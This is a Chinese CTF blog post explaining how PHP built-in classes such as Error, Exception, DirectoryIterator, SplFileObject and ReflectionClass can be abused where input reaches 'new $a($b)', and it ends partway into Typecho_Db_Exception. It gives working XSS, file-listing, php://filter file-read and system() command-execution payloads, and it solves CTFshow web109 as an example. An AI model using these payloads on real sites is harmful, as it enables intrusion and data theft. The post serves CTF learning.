PHP原生类在CTF当中的应用🛴
PHP原生类的应用
前几天打了浙江省赛,拿了个省二,明年努努力冲个省一。发现浙江省赛出了两题POP链,这就是为啥博客持续在更新反序列化的内容的原因哈哈哈(因为我两题都没解出来),之前练了一下pop链的构造,现在来研究一下PHP原生类的利用
本篇文章总结于https://blog.csdn.net/qq_38154820/article/details/121112935
报错类
Error
在PHP7版本中,因为Error中带有__toString
方法,该方法会将传入给__toString
的参数原封不动的输出到浏览器。在这么一个过程中可能会产生XSS。
我们来随便弄一个DEMO试试
<?php
$a=$_GET['a'];
$b=$_GET['b'];
echo new $a($b);
ERROR类中自动带有tostring魔术方法,我们如果这里把他当字符串输出,会自动触发tostring方法,如果这里是echo,即可造成XSS
Payload:
http://127.0.0.1/?a=Error&b=<script>alert('xss')</script>
Exception
和Error类一样,也自带tostring方法,也可以造成XSS
既然如此,可以会被PHP执行,我们可以换一种写法,用eval()函数让他造成RCE即可在实战中使用
DEMO:
<?php
$a=$_GET['a'];
$b=$_GET['b'];
eval("echo new $a($b);");
payload:
?a=Exception&b=system("whoami")
因为echo new b);会输出system("whoami"),然后会被eval放入代码中去执行,即可造成RCE
遍历目录类
DirectoryIterator
DirectoryIterator类中有一个__construct()方法,他会构造一个迭代器,如果使用echo进行输出,他会返回迭代器的第一个
demo:
<?php
$a=$_GET['a'];
$b=$_GET['b'];
echo new $a($b);
我们这时候如果传入
?a=DirectoryIterator&b=.
此时是遍历当前目录,他回返回第一项,也就应该是一个点
有的师傅就说了,这有个勾八用,我们其实还可以使用glob://协议进行匹配其余的文件
例如:
?a=DirectoryIterator&b=glob://flag*
这里的*依旧是通配符,就会匹配当前目录下的带有flag的文件
这里如果不知道文件名,可以直接暴力搜索,使用正则匹配去使用
例如
?a=DirectoryIterator&b=glob://f[a-z]*
FilesystemIterator
和Directorylterator差不多,不重复赘述
GlobIterator
GlobIterator和另外两个类差不多,不过glob是GlobIterator类本身自带的,因此在遍历的时候,就不需要带上glob协议头了,只需要后面的相关内容
?a=GlobIterator&b=f[a-z]*
读取文件类
SplFileObject
SplFileObject类为文件提供了一个面向对象接口,也就是这个类可以用来读文件
DEMO:
<?php
$a = $_GET['a'];
$b = $_GET['b'];
echo new $a($b);
我们传入?a=SplFileObject&b=flag.php,即可读取我们flag.php里面的内容
除了直接传文件名之外,我们是不是可以联系到php伪协议呢?不妨来试试,传入如下payload
?a=SplFileObject&b=php://filter/convert.base64-encode/resource=flag.php
反射类
ReflectionClass
ReflectionClass反射类在PHP5新加入,继承自Reflector,它可以与已定义的类建立映射关系,通过反射类可以对类操作
反射类不仅仅可以建立对类的映射,也可以建立对PHP基本方法的映射,并且返回基本方法执行的情况。因此可以通过建立反射类new ReflectionClass(system('cmd'))
来执行命令
这里我们直接使用CTFshow的web109来作为例题
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-29 22:02:34
*/
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
已知了flag在./fl36dg.txt
,命令执行system(‘cat fl36dg.txt’)
获取flag,所以应该传入如下参数
v1=ReflectionClass&v2=system("ls")
ReflectionMethod
和ReflectionClass一样
Typecho_Db_Exception
类在/var/Typecho/Db/Query.php中,这里有一个//__toString()
的注释,直接看__toString函数里的内容